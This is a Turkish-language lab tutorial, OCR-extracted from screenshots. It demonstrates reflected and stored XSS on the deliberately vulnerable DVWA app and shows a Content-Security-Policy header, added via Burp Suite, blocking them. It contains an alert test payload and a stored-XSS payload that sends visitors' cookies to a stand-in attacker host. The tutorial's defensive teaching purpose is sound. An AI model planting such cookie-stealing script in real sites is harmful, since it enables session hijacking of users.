Uygulama // Birebir denenmistir ve bagariyla uygulanmistir.

DVWAnin Reflected Cross Site Scripting sayfasinda reflected xss saldiris1 yapilabilmektedir.
Ancak biliyoruz ki cross site scripting saldirilar1 Content-Security-Policy response header' ile
durdurulabilmektedir. Simdi bu uygulamali olarak gorelim.

Oncelikle DVWA'y1 acalim, giivenlik seviyesini low'a ¢ekelim ve Reflected xss sayfasina gidelim.
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Logout
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Reflected XSS sayfasi calisma sekli itibariyle metin kutusuna girilen metinleri ekrana
yansitmaktadir. Ornegin metin kutusuna deneme string'ini girdigimizde ekrana deneme string'i
yansitilmaktadir.
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Metin kutusuna bir XSS kodu girdigimizde ise o da ekrana yansitilacaktir.
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Metin Kutusu:

<script>alert('xss')</script>
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Simdi bu XSS saldirisim1 Content-Security-Policy response header': ile engelleyebiliyor muyuz onu
gorelim. Bunun icin Burpsuite'i tarayici ile entegre ettigimizi ve Http Response'larin 6niinii kesecek
sekilde ayarladigimiz1 varsayalim. Tekrar xss kodunu metin kutusuna girelim.

Metin Kutusu:

<script>alert('xss")</script>

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox 1 m o)) 09:03
- [® pamn Vulnerable web x

€ ) ®| 172.16.3.130/vulnerabilities/xss_r/ ¢ ||Q search wBe +$ 4 O =

e Vulnerability: Reflected Cross Site Scripting (XSS)
Instructions
Setup ‘What's your name?
[<scriptalen(xss)<iscript> | Submit
im Execution .
command More info

-\ .\” | "\Nﬁm B e & D JQ‘ 'ﬂ]‘ O,

Username: admin View Source | View Help

Security Level: low
PHPIDS: disabled
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Burp Suite Free Edition v1.7.21 - Temporary Project
Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts ]

_[ Intercept T HTTP history TWebSockets history T QOptions ]

[#) Request to http://172.16.3.130:80

[ Forward J l Drop J [ Intercept is on | Action |

Raw | Params | Headers | Hex

-l
(=)

GET fvulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E HTTR/L.1
Host: 172.16.3.130

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko /20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q=0.8

Accept-Language: en-US,en;g=0.5

Referer: http://172.16.3.130/vulnerabilities/xss_r/

Cookie: PHPSESSID=muvpeld9Zues7Eadlicc3vB8987; security=low

Connection: close

Upgrade-Insecure-Requests: 1

e

Http Request ekrana gelecektir. Http request'i forward'layalim.

Burp Suite Free Edition v1.7.21 - Temporary Project

Burp Intruder Repeater Window Help

[Target T P rosy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIer‘ts ]

_[ Intercept T HTTP history TWebSockets history T Options ]

Response from http://172.16.3.130:80/vulnerabilities/xss_r/?name=%3Cscript¥%3Ealert328% 27xs5%27%29%3C% 2Fscript33E

l Forward J l Drop J [ Intercept is an | Action
Raw | Headers | Hex HTMLTRender]

HTTR/1.1 200 0K
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Date: Thu, 11 May 2017 06:07:14 GMT L\
Server: Apache/2.2.,14 (Unix) DAV/2 mod_ss1/2.2.14 OpenSSL/0.9.81 PHP/5.3.1 mod_apreqg2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
¥-Powered-By: PHP/5.3.1
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 43863
Connection: close
Content-Type: text/html;charset=utf-8 |

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTHML 1.0 Strict//EN" "http://www. w3.org/TR/xhtml1/0T0/xhtmll-strict. dtd"=
=html xmlns="http:// www. w3, 0rg/1999/xhtml "=

<head=
=meta http-equiv="Content-Type" content="texts/html; charset=UTF-8" /=

<title=Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS)</title=
<link rel="stylesheet" type="text/css" href="../../dvwafcss/main.css" /=
<link rel="icon" type="‘image/ico" href="../../favicon.ico" /=
<script type="text/javascript" src="../../dvwa/js/dvwaPage.js"=</script=
<fhead=

<body class="home"=
<div id="container"=

Ardindan Http Response ekrana gelecektir. Http response header'inin arasina Content-Security-
Policy header'in elle ekleyelim.



0 Burp Suite Free Edition v1.7.21 - Temporary Project

Burp Intruder Repeater Window Help

[Target T P roxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts ]

_[ Intercept T HTTP history TWebSockets history T Options ]

Response from http://172.16.3.130:80/vulnerabilities/xss_rf?name=%3Cscript%3Ealert3:28%2 Txss%27%29%3C% 2Fscript33E
l Forward J l Drop J [ Intercept is on | Action
Raw | Headers | Hex | HTML T Render ]

HTTP/1.1 200 OK [i
Date: Thu, 11 May 2017 06:07:14 GMT n
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
¥-Powered-By: PHP/5.3.1

[Content -Security-Policy: script-src 'none’;

Expires: Tue, 23 Jun 2009 12:00:00 GMT

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Content -Length: 4363

Connection: close

Content -Type: text/html;charset=utf-8

Ill
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=3 |

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www. w3, org/TR/xhtml1/0T0/xhtmll-strict. dtd">
<html xmlns="http://www. w3, 0rg/1999/xhtml "=

<head=
=meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /=

<title=Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (X55)=/title=

Ardindan http response'u da forward'layalim.
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Boylece javascript popup'l ekrana gelmeyecektir. F12'den tarayici konsoluna bakacak olursak inline
javascript kodlarinin durduruldugunu gorebiliriz.
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Content Security Policy:
Content Security Policy:
Content Security Policy:

Content Security Policy:

File Inclusion

SQL Injection

SQL Injection (Blind)
Upload

[ xss eected__|

© Logging

Vulnerability: Reflected Cross Site Scripting (XSS)

Hello

‘What's your name?

Submit

More info

[d I Inspector C Debugger {} StyleEditor (& Performance 1k Memory = Network BH-8 B
» S @ Security T —

® Server

The page’s settings blocked the loading of a resource at http://172.16.3.138/dvwa/js/dvwaPage.js (“script-sre ‘none’”).

The page’s settings blocked the loading of a

The page’s settings blocked the loading of a

The page’s settings blocked the loading of a

resource at self (“script-src ‘none’'”). Source: onclick attribute on LI element.
resource at self (“script-src *none'”). Source: alert(‘xss')
resource at self (“script-src 'none'”). Source: onclick attribute on INPUT element.

09:14 {if

2 0 8 X

{unknown)

mxss E:
xss_r:50

oxss r

Sonug olarak diyebiliriz ki hedef web sitesi xss zafiyetine sahip bir sekilde kodlanmis olsa bile

Content-Security-Policy header" ile xss kodunun tarayicida ¢ahistirllmasin énleyebiliriz. Yani

diyebiliriz ki Content-Security-Policy header'1 ekstra bir giivenlik katman sunmaktadir.



Uygulama 2 // Birebir denenmistir ve basariyla uygulanmistir.

DVWA'in Stored Cross Site Scripting sayfasinda stored xss saldiris1 yapilabilmektedir. Simdi bu
sayfadaki xss saldirisin1 Content-Security-Policy response header'1 ile durduralim.

Oncelikle DVWA'y1 acalim, giivenlik seviyesini low'a ¢ekelim ve Stored xss sayfasina gidelim.
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Bu sayfada metin kutusuna girecegimiz string'ler submit'lendiginde string veritabanina
kaydolmaktadir ve ardindan ayni sayfada yorum olarak goriintiilenmektedir. Biz eger bu sayfaya
xss kodu girersek xss kodu veritabanina kaydolacaktir ve yorum olarak sayfada goriintiilenecektir.
Simdi bunu yapalim ve ziyaretcilerin gerezlerini saldirganin sunucusuna yonlendiren xss kodunu
girelim.

Metin Kutusu:

document.write('<img width=1 height=1 src="http://saldirganin-
sitesi.com/index.php?cookie="+ document.cookie + "'/>");
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Girdigimiz veriyi submit'ledigimizde sayfanin asagisina yorum olarak gelecektir.
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XSS kodu yorum olarak sayfaya geldiginde tarayici 6nce javascript kodlarim calistiracaktir.
Javascript kodlar1 html bir ¢ikt1 olusturacaktir. Ardindan html kodlar1 sayfaya yerlesecektir. Olusan
html ¢iktisindaki img tag otomatikmen saldirganin sunucusuna http talebinde bulunacaktir ve
bdylece saldirgan kullanicilarin gerezlerini kendi sunucusuna yonlendirmis olacaktir.



SQL Injection
Name: test
SQL Injecti li
o ection)(Etind) Message: This is a test comment.
Upload
Name: Deneme
XSS reflected Message:

—
W 1 Inspector Console [ Debugger {} StyleEditor (@ Performance {k Memory = Network B8 B & 08 x
+ Search HTML & El m Computed Animations Fonts
<br> Filter Styles I+ &
Message:
. ; . element 7 { inline
“http://saldirganin-sitesi.com/index. php?cookie=PHPSESSID=nuvpeBdI2ue676adlicc3vBIs?; security=low" width="1" !
; Inherited from divé#main_body
<br> div#main body 11 { main.css:141
</div>
font-size: 13px;
<brs 1
<h2>More info</h2>
<ul>()=/ul> Inherited from div#container
</divs div#container 01 { main.css:118
oo . . . . . . Ffemt-sizer13ps
html body.home div#container div#main_body div.body_padded divitguestbook_comments m }

Simdi Content-Security-Policy response header'ini elle http response'a ekleyelim ve tarayicinin
stored xss kodlarinin galistirllmasini 6nleyisini gorelim. Burp'ii Intercept Request On ve Intercept
Response On yapalim ve sayfayi refresh'leyelim.

: Burp Suite Free Edition v1.7.21 - Temporary Project

Burp Intruder Repeater Window Help

[Target T P rosy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User aptions TAIer‘ts ]

_[ Intercept T HTTP history T ‘WebSockets history T Options ]

[#) Request to http://172.16.3.130:80

[ Forward || Drop J [ Interceptis on | L Action J Comment this item FH Rk
Raw | Params | Headers | Hex

[GET /vulnerabilities/xss_s/ HTTP/1.1 A

Host: 172.16.3.130 -

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,applications/xml;g=0.9,*%/%;q=0.8

Accept -Language: en-US,en;g=0.5

Cookie: PHPSESSID=muvpeOd92ue676adlicc3vB987; security=low

Connection: close

Upgrade-Insecure-Requests: 1

Http request'i forward 'layalim.



B Burp Suite Free Edition v1.7.21 - Temporary Project

Burp Intruder Repeater Window Help

[Target T Prouy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project aptions T User options TAIer‘ts ]

_[ Intercept T HTTP history TWebSockets history T Options ]

Response from http://172.16.3.130:80/vulnerabilities/xss_s/

[ Farward J [ Drop J [ Intercept is on | Action Comment tl
Raw | Headers | Hex HTMLTRender]

HTTP/1.1 200 OK

-l
(=)

[a
Date: Thu, 11 May 2017 06:38:08 GMT
Server: Apache/2,2.14 (Unix) DAV/2 mod_ss1/2.2.14 OpensSsSL/0.9.8l1 PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
¥-Powered-By: PHP/5.3.1

Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache

Content -Length: 5057

Connection: close ./
Content-Type: text/html;charset=utf-g&

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www. w3.org/TR/xhtml1/0TD/xhtmll-strict. dtd">
<html xmlns="http:// www.w3. 0rg/1999/xhtml "=

<head=
=meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /=

<title=Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (X55)=/title=

Http response geldiginde http response header'lar1 arasinda Content-Security-Policy header'ini elle
ekleyelim.

X Burp Suite Free Edition v1.7.21 - Temporary Project

Burp Intruder Repeater Window Help

[Target T Prouy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIer‘ts ]

_[ I|'.te|'ceptT HTTP histary TWebSockets history T Options ]

Response from http://172.16.3.130:80/vulnerabilities/xss_s/f

l Forward J l Drop J [ Intercept is on | Action Comment ti
Raw | Headers | Hex HTMLTRender]

HTTF/1.1 200 OK

H|
=)

[a
Date: Thu, 11 May 2017 06:38:08 GMT B
Server: Apache/2.2,14 (Unix) DAV/2 mod_ss1/2.2.14 OpenS5L/0.9.8l PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
¥-Powered-By: PHP/5.3.1

[Content-Security-Policy: script-src 'none';
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache

Content-Length: 5057 B/
Connection: close

Content-Type: text/html;charset=utf-g&

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www. w3, org/TR/xhtmll/ 0T/ xhtmll-strict. dtd">
<html xmlns="http:// www.w3. 0rg/1999/xhtml "=

<head=
=meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /=
<title=Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (X55)=/title=
<link rel="stylesheet" type="text/css" href="../../dvwa/css/main.css" /=

<link rel="icon" type="‘image/ico" href="../../favicon.ico" /=

Ardindan Http response'u da forward'layalim. Boylece DVWA stored xss sayfasi ekrana gelecektir.
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Preferences
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Home

Instructions
Setup

Brute Force
Command Execution
CSRF
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SQL Injection

SQL Injection (Blind) |

Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Message *

Sign Guestbook

Name: test
M

Upload

xss |

Name: Deneme
M -

[xsSsiored _____|

DVWA Security
PHP Info
About

Logout

Username: admin
Security Level: low
PHPIDS: disabled

More info

. This is a test comment.

View Source | View Help

Konsola bakacak olursak tarayicinin xss kodunu durdurdugunu ve calismasinm 6nledigini
gorebiliriz.

% x = &

7 Inspector > Debugger {} StyleEditer (@ Performance 1k Memory = Network
e IS ® Security
The page’s settings blocked the loading of a

® Net - @ CSS

Content Security Policy:

Content Security Policy:

Content Security Policy:

Content Security Policy:

Content Security Policy:

SQL Injection

SQL Injection (Blind)
Upload

XSS reflected

E——

The page’s settings blocked the loading of a

The page’s settings blocked the loading of a
The page’s settings blocked the loading of a

The page’s settings blocked the loading of a

© Logging

Name: test
Message: This is a test comment.

Name: Deneme
Message:

@ Server

resource at self

resource at self

resource at self

resource at self

(“script-src 'none’”
(“seript-src ‘none’”).
(“script-src 'none'").
}

(“script-src 'none’”

Source:

Source:

Source:

. Source:

resource at http://172.16.3.130/dvwa/js/dvwaPage.js (“script-src 'none’'”).
..

onclick attribute on LT element.

onsubmit attribute on FORM element.

onclick attribute on INPUT element.

document.write('<img width=1 height=1 sr....

(unknown)

mxais
oXSiS

Content-Security-Policy ile javascript kodlarinin html ¢ikti iiretmesi 6nlenmistir ve bu sayede img
tag' ile cerezlerin gonderimi engellenmistir.

Dolayisiyla diyebiliriz ki Content-Security-Policy header'i sayfa xss zafiyetine sahip olarak
kodlanmis olmasina ragmen xss saldirisini 6nlemistir. Yani diyebiliriz ki Content-Security-Policy
header1 xss 'i dnleme konusunda ekstra bir giivenlik énlemi saglamaktadir.



Kaynaklar

https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-
index/content-security-policy-csp-not-implemented/

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-
Policy/frame-ancestors

https://content-security-policy.com/
https://stackoverflow.com/questions/30280370/how-does-content-security-policy-work

https://w3c.github.io/webappsec-csp/#framework-directive-source-list



